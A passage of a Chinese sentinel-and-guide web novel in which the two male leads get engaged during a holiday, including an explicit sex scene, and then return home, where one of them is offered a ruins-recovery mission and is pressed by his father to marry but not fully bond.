两人一路前行，在巨大的“虹彩地毯”上留下一串发光的脚印，又在笑声远去之后，慢慢恢复静谧。 陆厌离显然有意放水，在前面路线飘忽地行进着。在临近种植园外的林子里，终于被江寻追上，一把抓住。 两人笑闹几句，这才开开心心地迈入种植园的范围里。 这一次，江寻没有再为陆厌离调节嗅觉阈值，免得他在不经意间，又被园子里浓烈的发酵气味熏醉了。留他在园外，便独自进去，寻着那些已经成熟的果子收集起来。 陆厌离轻巧几步，攀上园边一颗高树的枝丫，隔着一段距离，指指点点地伸手指挥着，把自己喜欢的几种果子统统指点了一遍。 直到陆厌离满意地点了点头，两人这才带着装得满满的折叠腰包往回走去。 回去的路上，陆厌离又拉着江寻绕了一小段路，来到那片珍珠般莹润生辉的白沙滩上。 傍晚的沙滩比之月下又有另一番美景，霞染的流云、碧波无垠的翻滚海浪，配上已经开始闪烁微光的沙滩，在这夜幕初降的天空下，交织出一片梦幻般的景象。 两人不知不觉安静了下来，赤着脚，牵着手，行走在海浪与沙滩的交接处，感受着温凉的水花一波一波涌上足面。 忽地，一道有力的波浪打了上来。 江寻下意识扶在陆厌离腰间，防止他摔倒。 察觉到他的动作，陆厌离偷笑一声，虽然并不需要这样的保护，但江寻无时无刻的关心仍让他心悦不已。 等潮水退去，陆厌离眼前一亮，蹲下身去，拨了拨面前的沙子，小心拾起一个物。仔细看了看，又在海水里涮了涮，顺手用衣服擦干，这才举到江寻面前。 “江寻，你看。” 那是一枚螺旋状的乳白色海螺，掌心大小，表面有着规律的流水状纹路，里面没有住客。被陆厌离洗涮干净之后，在月光下泛着细腻的光泽。 江寻连着陆厌离的手一起，将这海螺握住，迎着月光看了看，对上陆厌离期待的眼神：“真漂亮，我们把它带回去？” “好！”陆厌离抿唇一笑，指尖抚摸在海螺表面上，感受着那微凉的坚硬触感，小心地将它收进口袋里。 一路漫游回到树屋，两人收拾好明天启程要带的行李，准备次日一早就出发回中央星。 夜色深沉下来，树屋顶层的卧室里，天窗被完全敞开。 高空中垂下的绿叶藤蔓伸进了房间里，在微风的吹拂下，将植物的清香吹向卧室正中的大床。 两轮相向而行的明月，在夜空中越靠越近，清辉洒进房间，在墙壁上映照出两道交错缠绕的人影。 陆厌离抬起头来，在朦胧的月光下捧住江寻的脸颊，在他唇上一下下轻轻啄吻着。 这个吻开始时还带着些许离别的怅然与不舍，很快就变得深入缠绵。 或许因为这是最后一晚，陆厌离今夜变得格外缠人，一双手臂如藤蔓般攀着江寻，回应起来也比以往更加的主动而急切。 “快……”一声压抑的呜咽溢出嘴角，又马上被迎上的人堵住。 两个滚烫的额头紧贴在一起，呼吸交闻之间，鼻尖轻轻碰触。 嗫嚅的声音含糊不清，却令最贴近的人听得清清楚楚：“舒服……” 江寻笑了笑，在闷哼声中揽过身前的人，扶上他腰间帮他动作。 光洁的脊背在皎洁月光下宛如破蛹的蝴蝶，扇动着莹润的翅膀展翅欲飞。 轻吟呜咽之间，年轻的恋人们在熟悉的节奏里身心交融。 蝴蝶在男人手中起伏摇曳着，翅翼时而舒张，时而收拢，随着男人的引领，飞向高空。 直至共同抵达愉悦的顶点，才翩然坠落，跌入男人怀中。 陆厌离蜷在江寻怀里喘息着，手指无意识地插进他的发根，在指尖缠绕着他的发丝。 月光缓缓移动，仿佛也羞于目睹这两个相拥的身影。 高|潮的余韵还没有完全平息下来，陆厌离像是回到了做猫猫的时候，眷恋着江寻身上的温暖，四肢紧缠，脸颊深埋在他颈窝里蹭了蹭。 “江寻……”他轻轻在耳边叫了一声，声音轻缓，尾音细长，之后却没有了下文，反而勾得江寻忍不住去看他。 “怎么了？”江寻轻拍他的脊背，平复着呼吸，一把拨开汗湿的发丝低声问道。 “唔……”陆厌离似乎也没有想好自己要说什么，扭过身子揽住江寻的脖子，下巴抵在他锁骨上，眼神从迷茫，变为怅然若失，又化为犹豫与羞涩。想了半天，终于像是鼓足了勇气，声音里还带着点故作的色厉内荏：“你是不是还是更喜欢我做猫咪？” “嗯？”江寻遭受莫名指责，一时没太明白这是闹得哪一出，“没有啊，你的两种形态我都喜欢。” “那你，”陆厌离脸有点红，“为什么不像我做猫咪时那样对我了？” “像你做猫咪的时候？”江寻疑惑，“什么意思？” “嗯……”陆厌离声音变小，似乎有些难以启齿，支支吾吾几下，才继续道，“以前，你不是很喜欢打……打猫咪屁股的吗？为什么现在不会了？” 一句话说得又低又颤，但其中的意思分明。 江寻的手一下子顿住，有些惊讶地看向陆厌离。 这人一说完话，红霞就从脸颊一直染到了耳朵尖，眼睛也瞥了开去，不敢看江寻。 江寻倏然绽开一个笑容，眼底被这句话勾起一丝悸动。低下头凑近发烫的耳廓，声音低沉几乎变成了气音：“你喜欢？” 陆厌离哪还能回答下去，觑了他一眼扭过头。 下一秒，随着一声低笑，卧室里响起清脆的一声。 “啪！” 挺翘微颤，晃动了谁的心弦。 “呃啊……”陆厌离猛地抬起头来，浑身一颤，一声短促而甜腻的低吟脱口而出，喊到一半又被他吞了回去，缠着江寻的四肢瞬间软了下去。 可在无力瘫软下去的同时，一直缠绕在陆厌离周身，与另一股力量缓慢融汇的精神力，却像是在这一刻突破了某种屏障，从他身上汹涌澎湃地奔涌而出。 庞大的精神力甫一现身，便与另一股平和柔软的力量缠绕起来，快速融合为一，牵引着另一股力量在空中起舞。 江寻闷哼一声，平静的精神力被这突如其来的交融拉扯着，同样从精神海深处奔涌而出。与此同时，一股浓郁的情绪顺着精神力的交融，猛地闯入他的心底。 那是滚烫的情动，信任的依赖，以及浓稠得化不开的热烈爱恋。 受到精神力与这股外来情绪的双重影响，江寻的眸色倏然转深，呼吸骤然粗重起来。手掌忍不住落下，一下，又一下。 莹白皮□□上一层浅红，颤颤巍巍。 清脆的声响声中，陆厌离赤红着脸，声音呜咽，难耐地扭动。交融的精神力放大了哨兵的感官，快乐与轻微的刺痛交织着，每一下都推着他冲向顶|峰。 迷蒙的双眼望向江寻，就在他即将失控的边缘，江寻的动作却猛然停了下来，一把按熄那燃到荼蘼的焰火。 “现在还不行。”江寻的声音沙哑得厉害，但理智仍然令他停了下来。 骤然被打断，这一瞬间，陆厌离几乎哭叫出声。 江寻安慰地亲了亲他，翻身而起，把软成一滩春水的人压在床褥之间，深深亲吻下去。 新一轮的亲密来得更加深入，但和缓了许多。 陆厌离所受的折磨却丝毫没有减轻。 精神力的加入，令他浑身的感官都被迫放大。此时的感觉，远非平日里可比。只是皮肤的轻微摩擦，便能燃起一串火星，更遑论现在的状况。 陆厌离脸上已经失去了所有表情，嘴唇张张合合之间，却什么声音也发不出来。汹涌的眼泪、汗水与涎水，像是堤坝崩塌般喷薄而出，他承受不住地高高扬起脖颈，喉结滚动间，将颈间的项圈顶|动的上下摇摆。 他的手指紧抓在床单上撕扯着想要逃离，却根本无法挣脱按在后颈上的大手。 江寻也在此时抬起头来，长长喟叹一声。 就在两人身体紧密契合，模糊的意识被饱满的精神力裹挟起来的时候，一道无形的精神通道倏然建立。 融汇为一的那股庞然精神力，像是终于找到了出口，在空中盘旋几圈之后，随着江寻的动作猛然撞向通道入口。下一秒，精神通道被完全贯通，光华大盛。 两位S级哨兵向导融汇为一的精神力，如同决堤的洪水，顺着那通道连接起两个人，开始在他们之间循环奔涌。 隐隐的，耳边似乎响起一道清越的啼鸣与一声猫科动物的嘶吼。精神通道中汇聚起两团白光，随着精神力的持续输入，倏然化为一隼一猫，在无形的精神通道中具现而出。 两只精神体像是久别重逢的亲密伙伴，甫一现身便在空中围绕着各自的主人踱步一圈，随即，与它们的两个主人一般，在空中扑在一起，亲密地交颈缠绕起来。 两只精神体的触碰，再一次反向影响到两个上下交|叠的主人，“啪！啪！”的清脆声响倏然加快，涌流而出的精神力洪流，在两人之间不断循环着，渐成滔天巨浪。 最终，轰然一声，巨浪拍岸，碎成万千水花。 陆厌离高昂起来的头颅，在一声无声的嘶吼声中重重向前倒去。 江寻从背后紧紧按住他的两只皓白手腕，伏在他背上剧烈喘息着。 随着巨浪散作涓涓细流重归二人体内，两只精神体也在依依不舍地交颈道别后，在空气中隐去了身形。 室内的一切重归平静，两人几乎同时脱了力，瘫软下来。 可意识却因为精神力跨越式的交融，变得前所未有的清明与满足。 江寻的呼吸渐渐平复下来，低头凑近陆厌离的侧脸，安抚般地轻啄。 缓过神来的陆厌离，顾不上去擦眼角的泪痕，察觉到江寻的动作后，立刻转过头来，热情地迎上他的双唇。 情事的余韵犹在，这个吻初时激烈而缠绵，而后慢慢缓和下来，随着两人视线的交缠，渐渐充满温情。 双唇乍分，陆厌离抵着江寻的额头抬眼，碧绿的眼眸中水光潋滟，从最深处漫起无限爱恋与眷念。 他直视着江寻深邃的眼睛，目光愈坚，“江寻，”声音低弱，还带着些情事过后的沙哑，却字字如在心中百般琢磨过，“你愿意与我完全绑定吗？从此……在这无垠宇宙中，与我共赴所有光阴，直至生命的尽头？” 江寻闻言目光动容，望着那双清澈碧眼，在这刹那间，眼前掠过曾见过它的各般模样。 初遇时的警惕凶悍，相处时的关心依赖，离别时的痛苦决绝，重逢时的满腔期待。 最后，那无数双不同的眼睛在脑海中合而为一，化为面前这双坚定的眼眸。 江寻凝视着他，注视着这个在自己的目光中，一点一点找回自我，重新变得完整的人。看着这个又将完整的全部身心都毫无保留地彻底交付给自己的人，脸上倏然绽放出一个灿烂的笑容。 这一刻，过往所有的苦难似乎都得到了报偿。 他得到了这个世上最最珍贵的宝物！ “我愿意！” 江寻轻抚上陆厌离的脸颊，拇指温柔拭去他眼角渗出的水光，面上的神情无比郑重温柔。 只是这简单的三个字，便令陆厌离眼中倏然迸发出无比璀璨的光彩来。他的心中，难以言喻的喜悦与得偿所愿的激动，瞬间冲散了身体上所有的疲惫。 他猛地一个翻身，骑在了江寻身上，在他意外的神情里，急切地俯身，凶猛啃咬下来。握住江寻的手，向着自己身上牵引，仿佛不知该如何宣泄出此时心中的这股澎湃的激情。 江寻低低一笑，配合地微启唇齿，任由此刻极度可爱的恋人尽情在自己身上，表达他的兴奋之情。 两人不再言语，光影摇曳之间，细碎的呻吟、喘息声与碰撞声再起。 在这皎洁月华与林间微风的见证下，这对刚刚互许终身的爱人紧紧相拥，再度共赴极乐。 * 第二天清晨，两人在林鸟啼鸣声中相拥着醒来。 交换了一个绵长缱绻的早安吻，简单洗漱之后。两人携手将所有行李搬上来时乘坐的小型穿梭舰。 重新封闭好树屋别墅，关闭反应堆，带着几分依依不舍，踏上了回家的路途。 如来时一般，途径数个大型枢纽站，又经过了数次跃迁，穿梭舰终于重新回到中央星域。随着与中央星的距离越来越近，舷窗外，熟悉的空港轮廓逐渐清晰起来。 穿梭舰直接在军部专用空港降落，落地后，将行李转移到悬浮车上，江寻直接在这里就与陆厌离道了别——陆厌离可以乘坐专用轨道电梯直达军部办公大楼。而江寻要去的圣所，还需要转乘几辆接驳车才能抵达。 回到中央星，两人又重新恢复了那副成熟稳重的模样，也不故作小女儿姿态，简单几句话后，就利落地道了别。 “我就直接去圣所了，”江寻扯了扯陆厌离的军装领口，将他颈间密密麻麻的青紫红痕遮掩严实，“晚上你直接回家就好，我还得先去一趟愈灵殿再回去。” 陆厌离点了点头，在人来人往的空港中，也不便做出什么亲密姿态，只悄悄用手指勾了一下江寻的手心，“好，那我走了。” 随即，两人在出口处分道扬镳，各自前往工作学习地点。 一个新年假期过去，时间虽短，却又仿佛经历了许多事。此时再看圣所中的一砖一瓦，江寻不由生出几分陌生之感来。 不过很快，蜂拥而来与他打招呼的人群，将他这份陌生感完全冲散，江寻被簇拥着回到向导学院之中，还是依照惯例先去了行政大厅签到，而后才回到教室里，重新投入了学习状态中。 这一天的学习生活分外忙碌，下午课程一结束，江寻便径直去了圣所图书馆里。 既然已经承诺了要与陆厌离完全绑定，现在，他也该好好学习了解一下相关的过程了。 除此之外，他还计划在两人完全绑定，燃起第一次结合热时，重启刻印。那么，关于刻印的相关知识，也必须在那之前了解清楚才行。 江寻在图书馆中借阅了一本专门分析精神核心绑定的书籍，又调阅了圣所中所有关于“刻印”的历史记录，以及几对产生了“刻印”的向哨组合，在现实条件下的案例分析。 快速翻阅过后，将一些关键过程与他还不太明白的地方记录下来。随后，在傍晚时，准时出现在了愈灵殿里。 尼克斯简直等他等到望眼欲穿，得知他回来的消息，今天早早就等在了愈灵殿门口。 江寻前脚刚刚踏入大厅，后脚就被眼尖的尼克斯抢在所有人前面，拉进了自己的实验室里。一连完成了五个实验，才被急着处理数据的尼克斯扫地出门。 江寻好笑地摇了摇头，好脾气地不与这个研究狂计较，转身投入其他小组的实验之中。 之后，各小组之间的几番争夺自不必提。 等江寻完成这几天里各研究组中堆积的实验项目，今天剩余的劳动服务时间也已所剩无几。 想了想，江寻敲了敲尼克斯的房门，在对方疑惑的目光中坐上了等候区的沙发。 尼克斯眉梢一挑，看着江寻这番想要长聊的架势，没有第一时间理他，只丢下一句“等着”，又继续做起他手头的实验。全然没在意江寻S级向导的特殊身份。 江寻也不介意，就安静地坐在那里，认真观察着尼克斯的各种操作，与自己脑海中的知识相互印证着。 直到实验顺利进入下一阶段，尼克斯这才露出一个笑容。随手抽出张纸巾擦了擦额上汗水，一屁股坐在了江寻旁边。 “怎么了？有什么事要找我？”尼克斯开门见山地问道。 “尼克斯组长，”江寻露出个和善的微笑，“之前您提醒了我与陆厌离之间的那个‘不完整的刻印’。我查阅了一些资料，但还是有一些不太明白的地方，想要向您请教一下。” “另外，关于我们之间这个未完成的刻印，要如何通过完全绑定来补完，我也想听听您的见解。”—— 作者有话说：猫猫出击！求婚啦[撒花] 第225章 军部政务大楼。 随着一阵由远及近规律的“噔噔噔”脚步声， 威尔逊军团长的办公室房门被叩响，打破了走廊的宁静。 “进来。”一声低沉的应答后，陆厌离推门而入。 “呦， 回来了？”威尔逊将军此时没有在办公，而是悠闲地坐在旁边宽大的沙发上吞云吐雾。一见来人，面上马上露出笑容，随手熄灭了指尖的烟草， 对着陆厌离招呼起来， “听说你这个新年是陪着你的那个小向导出去度假了？怎么样？”威尔逊将军促狭地对着陆厌离挤了挤眼睛问道。 “很好。”一提到江寻， 陆厌离的神色顿时柔和下来，整个人浑身的气场都变得不同了。 威尔逊一见他这样子， 哪里能不明白，当即哈哈大笑一声：“看来你们相处得相当不错嘛！很好！不愧是我第八军团的人，可一定要把这个S级向导给我们抢下来！你是不知道， 现在我出去开军部大会， 多少军团长眼红我，哈哈，你可真给我们第八军团长脸！” 陆厌离轻咳一声， 有点招架不住顶头上司这般直白的打趣：“将军， 你之前急着找我， 是有什么事？” 说到正事， 威尔逊终于收敛了脸上的笑意， 起身坐回宽大的办公桌后， 朝着陆厌离招了招手：“前几天， 最高智脑给军部下派了一个特别的任务，你来看看。” 威尔逊边说，便操作终端， 将一份任务通报展示在陆厌离面前。 “又是任务？”陆厌离皱眉。 经历过上一次的任务陷阱，他现在对指派过来的任何高等级任务都抱持着警惕，不等细看具体的任务说明，就看向威尔逊问道：“又是S级指派任务？” 威尔逊也亲身经历过上一次事件，理解陆厌离的谨慎，这次却压了压手，示意对方稍安勿躁：“别紧张，这次不是直接指派给你的硬性任务，是最高智脑公开下达后，被军部争取过来的。因为这次的任务目标，有些特殊。现在军部内部还没决定要派谁带队前去，我觉得你可能会感兴趣。” 他用下巴点了点显示在终端上面的任务通报：“你先看看吧。” 听到威尔逊这么说，陆厌离这才稍稍放下心来，将目光投向这份任务通报。 【任务类型】：遗迹探索与资料回收 【任务地点】：M28星系，HD-86号行星。 【任务提要】：经确认，于HD-86号行星上发现星历初年未知大型实验室遗迹（精神力研究方向）。据破解文件显示，该实验室为星历初年为研究首批天然觉醒向导而设立，其内部可能存在大量珍贵的精神力研究与潜能开发方向的原始研究资料。 【任务目标】：保护并协助金浩载博士完成资料收集任务。 【任务等级】：A+级小队任务。 一看到显示出的任务等级信息，陆厌离就松了口气。A+级的小队任务，对于他来说，基本是没有危险性的。 心里有了底，陆厌离这才仔细阅读起具体的任务内容。 “首批天然觉醒向导的精神研究资料……”陆厌离轻声读出通报上的内容，才算知道了为什么威尔逊将军要说这个任务特殊。不过…… “最需要这些资料的，应该是愈灵殿、星际科学院那边吧？A+级任务，塔那边自己的外勤小组都能直接完成，怎么会落到军部手里？而且，只是回收资料而已，谁去做不都一样？为什么还要专门争取回来？”陆厌离疑惑地问道。 “那是因为，这个遗迹刚刚被发现的时候，还流传出了一个小道消息，”威尔逊将军解释道，“这个遗迹，是一支刚好在附近执行任务的低级外勤小组发现的。据说，这个小组里的那名向导，在进入这个遗迹之后，精神力有了大幅度的增长。所以，有人猜测，那个遗迹里面，除了最重要的研究资料，还有一样能够直接提升向导精神力的特殊物品存在。” “能直接提升向导精神力……”听到这里，陆厌离果然心动了起来，若是真的有这种东西，那对江寻是不是也会有帮助？ “没错！这个消息虽然还是没被证实的流言。但是，综合任务的风险程度来考虑，已经值得我们派人去一探究竟了。”威尔逊看着陆厌离明显动了心的神色，补充道，“如果真的有这样一个物品存在，就算最终持有权不归军部，作为任务的完成者，我们也有很大的优先级共享任务成果。这实在是个稳赚不赔的买卖。” “不过，当时从科学院手里抢下任务时，我们也保证过，这个任务会派S级哨兵去带队完成，以确保珍贵的资料万无一失。”威尔逊摊了摊手，“咱们军部的S级哨兵就三个，那位坐镇二、三军团的布瑞克家主瑟琳娜女士当然不会去。剩下的你和阿克塞尔之间，几位军团长都属意让更靠谱的你带队过去。” “不过这不是强制任务，”威尔逊拍了拍陆厌离的肩膀，“你可以回去考虑一下，有兴趣的话，三天内给我答复。” 陆厌离的视线停留在任务通报上，再次浏览了一遍，抬头对上威尔逊的目光：“是，将军，我会认真考虑的。” 正事交代完毕，威尔逊就挥了挥手，示意陆厌离可以走了。 陆厌离刚离开威尔逊那边，回到自己的办公室里坐下，还没来得及联系自己的副官与文书官，个人终端就嗡嗡震动起来。 他低头一看，屏幕上显示出来的人名，让他动作一顿——是他的父亲，陆明远。 陆厌离心中一动，他才刚刚看到那份需要外出的遗迹探索任务，父亲就紧跟着打来了通讯。虽然这两者之间好像并没有什么关联，但这样的巧合，还是令他心底掠过一丝像是第六感一样的警觉。 略作思索，他接通了这道通讯。 全息影像在自己面前显现出来的时候，陆厌离对着屏幕那端点了点头：“父亲。” 影像中显示出来的仍是他熟悉的那间书房。可端坐在画面中央的那个人，却不似往日那般，眉眼冷厉、态度强硬，反而显出了几分只在正式的社交场合中才会流露出的温和可亲。 只不过，似乎是习惯了以居高临下的态度与他讲话，此时想要摆出一副亲和态度的陆明远，面上的神色反而显得有几分不自然。 “休假回来了？”一句带着些生硬的寒暄，已经是陆明远能表达出来的极限。这句话说出口后，就像是完成了什么任务一样，也不等陆厌离回答，就继续说了下去，“听说这次假期，你是和那个叫江寻的小向导一起过的？” 陆厌离注视着自己的父亲，他原以为对方会斥责他缺席了新年家族晚宴的事，但陆明远却丝毫未提这事，反而说起了江寻，他是什么意思？ “说起来，之前你和我闹也闹过了，吵也吵过了，还为了这个小向导离家去和他同居了，我却一直都没有见过这个人。”陆明远的目光在陆厌离脸上停留了片刻，才接着道，“你也闹得够久了，既然你执意要跟他在一起，就找个时间，把他带回老宅一趟吧。我们来谈谈你们之后的事。” “我们之后的事？”陆厌离不动声色，“您之前不是一直不同意我们在一起，还给我安排了相亲吗？” “那时和现在的情况不同，难道你还真的要为了这个人一直在外面游荡？成何体统！”陆明远还是忍不住皱起了眉头。 陆明远脸上出现了熟悉的神态，反而令陆厌离放下了几分戒备。可想了一想，还是拒绝道：“江寻白天要在圣所里完成课业，晚上还要去愈灵殿执行劳动服务，近期没什么时间能抽出来去老宅。” 他说着，略一停顿，想到陆明远这通稍显奇怪的通讯，继续说道：“如果父亲有事要谈，那我今天中午回去一趟。” 时间刚到中午，陆厌离驾驶着悬浮车在老宅专用的停车坪上降落。在一众仆从恭敬的问候声中，大踏步跨入宅邸大门。 陆明远正端坐在巨大的餐桌前举止优雅地用餐，看到来人风尘仆仆的模样，皱了皱眉。指了指自己对面的座椅，示意道：“坐下吧，先用午餐。” 陆厌离依言入座，却在管家呈上餐具时，竖起手臂挡了挡：“不用了，父亲。”目光直视着许久未见的陆明远，“我下午还有军务需要处理，停留不了多长时间。您找我有什么事，请直说吧。” 陆明远颊边的肌肉轻微抽动了一下，眼底迅速闪过一丝愠怒。下一秒，又像是想起了什么，强自按捺下脾气，没有发作。 他沉默地盯着陆厌离看了几秒，手一松，餐具砸在盘子上，发出一声清脆的碰撞声。 屋子里的女仆们身子一颤，更深地低下头去。 陆厌离却像是全然没发现陆明远的怒气，依然一脸平静地看着他。 陆明远身子向后靠近椅背里，紧盯着陆厌离，挥了挥手。 训练有素的佣人们迅速上前，手脚麻利地撤下所有餐食，更换了新的桌布，这才鱼贯而出，将空间完全留给了这一对父子。 空旷的大厅之中，顿时只剩下他们二人，气氛瞬间凝滞下来。 沉默没有持续太久，陆明远率先打破了寂静：“好，既然你赶时间，那我们就长话短说。” 陆明远身体微微前倾，双手交叠，眉头一低，就摆出了自己最惯常的威压姿态，“前阵子联盟中突然出现的那个S级向导，就是一直和你纠缠在一起的那个野向导吧？既然他和你一样，也是个S级，你又非要和他在一起，我可以认可你们的关系。” 陆厌离眼神微动，没有接话，等待着陆明远提出他的条件。 “但是，”陆明远目光锐利地射向陆厌离，“我有一个条件，很简单——你们不得进行完全精神绑定！” 陆厌离眉头一皱，当即就要出口，却被陆明远抬手制止。他随即继续抛出筹码：“你不用担心，虽然你们不能绑定，但这一次我说的认可，是代表陆家正式接纳他。我会为你们举办盛大的婚礼，他会成为名正言顺的陆家儿媳，成为你的合法伴侣，享有陆家给予嫡系应有的一切待遇和尊荣。你们会永远保持着最亲密的关系，这和最终绑定，并没有什么区别。” “可是为什么？”陆厌离皱眉问出口。他知道父亲会知晓江寻的真实向导等级，但按照他一贯的作风，不是应该让他们尽快完成绑定，好把江寻彻底绑在陆家这辆战车上吗？ “一个向导，最大的价值就在于疏导能力。尤其是一个S级向导。”陆明远理所当然地说道，“如果他和你绑定了，这个最大的价值不就丧失了吗？” 说到这里，他似乎是才注意到陆厌离的情绪，顿了顿后，放缓了语调：“你们现在正年轻情热，一心只想着和彼此一生一世一双人。可你要知道，就凭着一时的热情你们能坚持多久呢？只有利益才能长久地把你们两人捆绑在一起。而且，江寻才刚刚对外公布自己的真实等级，还没享受过那些给予S级向导的优厚待遇，如果现在就让他被绑定关系束缚住，等他日后回想起来，是你让他失去了自己身上最大的筹码，他一定会怨恨你的。” “还不如就维持现在的状态，享受当下。” 陆明远观察着陆厌离眉宇间波动的神情，继续道：“当然，我满足了你的愿望，你也该收起你那些不合时宜的叛逆，回归家族，像以前一样继续为家族效力。” 陆厌离垂在身侧的手指微微蜷缩了一下，明明已经不再抱有期待，却还是因为陆明远的这番态度心中发冷。 自己明明告诉过他，已经被江寻绑定了，但凡是稍微在意一些自己孩子的父母，一定都会盼望着对方也被自己的孩子绑定。有谁会在权衡利弊之后，要求两人不得完全绑定的？ 陆厌离闭了闭眼，没有泄露出自己的情绪，停顿数秒，没有应下他的要求，只是试探地开口：“我刚刚结束休假回到军部，现在正有一个任务需要外出一段时间。这些事情，我们暂时不打算考虑。” “那怎么行？”陆明远眉头皱起，随即，语气带着不容置疑直接命令道，“一个任务，能用多少时间？你现在就回去和他把事情定下来，婚礼和其他一应事务都不用你们操心，到时候等你回来了，直接成婚。” 这突然一百八十度转变的态度，与这份溢于言表的急切，令陆厌离心头的疑虑重新浮上水面，“为什么突然这么着急？” “还不是你之前闹腾成那样，非要和他在一起！这会儿我遂了你的愿了，你还反倒问起我来了？”陆明远的音量拔高，话语里又带上了惯常的斥责，“现在他刚刚公布自己的向导等级没多久，大部分人还不清楚他的底细，没被太多人盯上，你要是不早点下手和他把名分定下来，等消息传开了，这个S级向导被其他家族抢去怎么办？” 看到陆厌离仍然带着狐疑看着他的目光，陆明远又是话锋一转：“我是你的父亲，难道还能害你吗？之前给你安排联姻，也是怕你年轻，被一个冲着你身份来的，不知底细的野向导迷惑了。我也是为了你好，想给你找一个实力雄厚的岳家。” “如今他的身份勉强配得上你了，我自然不会再反对。”他的目光落在陆厌离身上，语重心长道，“你年纪也不小了，如今自身的能力也稳定了下来，可以参与正常的家族事务了。结婚以后，要和江寻一起好好为家族效力。若是你表现得够好，那陆家继承人的位置，我未必不能重新考虑你。” 陆厌离没有说话。而在陆明远眼里，这熟悉的沉默便是默认的意思了。 “行了，你回去吧。我会开始为你们筹备婚礼事宜的，你任务回来以后，就和江寻正式结婚。”陆明远一锤定音。 * 乘上悬浮车离开那座沉寂的大宅，陆厌离走在返回军部的路上，眉头微蹙，心念电转。 父亲的此番转变实在太突兀，也太急切了，也不知是错觉还是什么，他总觉得这里面有什么问题。 但是对方今天的态度，又与陆厌离熟知的行事风格相符。似乎他真的只是想尽快把这个新任S级向导，纳入陆家囊中。 而且还把不得完全绑定作为条件…… 陆厌离一时摸不透自己父亲的心思。但是，从刚才的对话来看，他如此急切地要求自己与江寻尽快完婚，似乎与这一次的任务真的没有丝毫关系…… 陆厌离心中，因为这次的巧合而生出的些许猜疑，稍稍散去了一些。 回到军部，陆厌离很快投入熟悉的工作状态中。 不久，上午派下属去搜集的任务详细情报，也有了结果。 陆厌离打开光屏，迅速浏览起来。 该遗迹由一支隶属于塔的任务小队，在一颗半废弃的矿星上，执行剩余资源评估任务时意外发现。小队在初步探查后，发现此遗迹规模庞大，年代久远，价值极高，发掘难度也较大。为保护遗迹完整，他们没有继续深入。而是在回收了部分散落在浅层地表的资料文献之后，按照任务流程，向最高智脑上报了此次发现。 后来，这批文献被星际科学院破译研究出来，又经过多方考证，确认其潜在的巨大价值之后，才正式上报系统，下达了此次探索任务。 陆厌离调出星图查看该星球的地理位置。 M28星系，隶属于第二军团的管辖范围内，是联盟第一老牌世家布瑞克家族的势力影响区域。 而这一颗HD-86号行星，位于M28星系北部，处于联盟西北部边境线上，正好毗邻外部的虫族活动区域。这个位置，也符合星历初年联盟刚刚建立时，对于边境线的历史记录。 布瑞克家族……陆厌离指尖轻点桌面，回想关于这个联盟第一世家的信息。 这个以武力与铁血作风闻名，深深扎根于联盟军部的庞大家族，因为其子弟几乎都盘踞在二、三军团的势力范围内，陆厌离其实少有接触。仅有的一些了解也来自于之前的某些行动之中。 这个家族与联盟中大多数家族的作风都殊为不同，平日里，几乎不参与联盟的各项决议，只用心经营自己在军中的势力。每一代也只有一两人出没于社交场合中，代表布瑞克家族对外发言。 这样的行事作风，让布瑞克家族的成员普遍厌恶寻常世家里弯弯绕绕的那一套，与掌控着联盟很大一部分经济命脉，又善于圆滑算计的凡纳家族向来不和。两个家族的话事人，也经常因为军费、航线、驻军等相关问题，在联盟议会上屡屡摩擦。 即便以凡纳家族在联盟经济领域中的影响力，也难以渗透到被布瑞克家牢牢掌控的家族势力范围内。 理所当然的，这个在M28星系中发现的遗迹，受外部势力干涉的风险也比较低。 而此次探索，是一个面向军部内部发布的常规小队任务。经科学院判断，遗迹本身的风险并不高，其难度主要基于三点： 一是遗迹深埋地下，发掘难度较大，可能会在探索过程中遇到一些难以进入的区域，需要能够完全拟化并具备极高身体素质与任务经验的高级哨兵参与发掘。 二是遗迹内可能存在的资料价值极高，必须将其全部回收，并确保万无一失。 最后一点在于，发掘过程中，小队必须护送并全程保护那位随行的特级研究员的安全。 基于以上几点，这个任务才被评为A+级，被要求由S级哨兵带队执行。 看完所有任务资料，陆厌离对这个任务已经有了基本的了解。 任务本身不像那种镇压、平叛类任务那样牵涉广泛，性质比较单纯。来源清晰，上报下达的流程也完全合法合规。任务地点位于半废弃矿星上，风险也在可控范围内。除了可能因发掘难度较高，导致的耗时较长外，陆厌离看不出什么明显的人为可疑痕迹。 陆厌离放松下来，身体微微后靠，想起威尔逊将军曾提到的那个，疑似能够提高向导精神力的特殊物品。 斟酌片刻，心下已有了决定。《 》 225-230 第226章 天色渐暮， 当江寻回到湖畔区别墅的时候，远远便看到了从自家窗户里透出的明亮灯光。 心尖一暖，不由加快了脚步。 推开院门时， 正看到一个足有两米高的长方形包裹赫然竖立在院子里，在黑沉沉的光线下，显得格外突兀。 刚走进院子，反手关上院门， 里面屋子的大门就被推开了。一室明亮的光线倾泻而出， 而陆厌离就站在那片光亮中央。 他穿着一身灰色的家居服， 发梢有些湿润，像是刚洗过澡出来。屋内明亮的灯光， 从他背后照过来，在他身上勾勒出一圈光边，也清晰地映照出他脖颈与锁骨上， 星星点点仍未消散的淡淡红痕。 江寻的目光在那几处停留了一瞬， 眼底泛起一丝笑意。 陆厌离敏锐地捕捉到了他脸上稍纵即逝的表情，耳根微热，有些懊恼地先开了口：“你什么时候买了这么大的东西？也不告诉我一声。”他指了指旁边竖立的包裹， “下午送货的人过来， 我都忘了我们已经回到中央星了， 就穿着这一身直接去签收了。那两个送货员从头到尾看着我的眼神一直怪怪的， 等我回来照镜子的时候才发现……” 说到这里， 他脸颊一红， 又想起下午在两个陌生人眼里看到的八卦神色， 没好气地瞪了江寻一眼。 江寻低笑一声，连忙走上前去，弯下腰去抱了抱陆厌离， 陪着罪在他侧脸上亲了亲：“我的错，都是我的错。” 又接了陆厌离锤在腰际的一拳，佯装疼痛地哎呦了几声，这才把人哄好。 “这是什么啊？这么大？你买的书架吗？”出了气的陆厌离，好奇心升起，追问江寻道。 江寻神秘一笑，走到包裹前，开始动手拆开外层的防震材料。 很快，一层厚厚的包装被除去，露出里面物品的真容来。 那是一个形似书架的大柜子，通体原木质地，扎实厚重，里面高低错落被分隔出了许许多多大小不一的小格子，外部由玻璃作为柜门封闭起来。 “这是？”陆厌离凑到江寻身边，打量着面前的柜子。 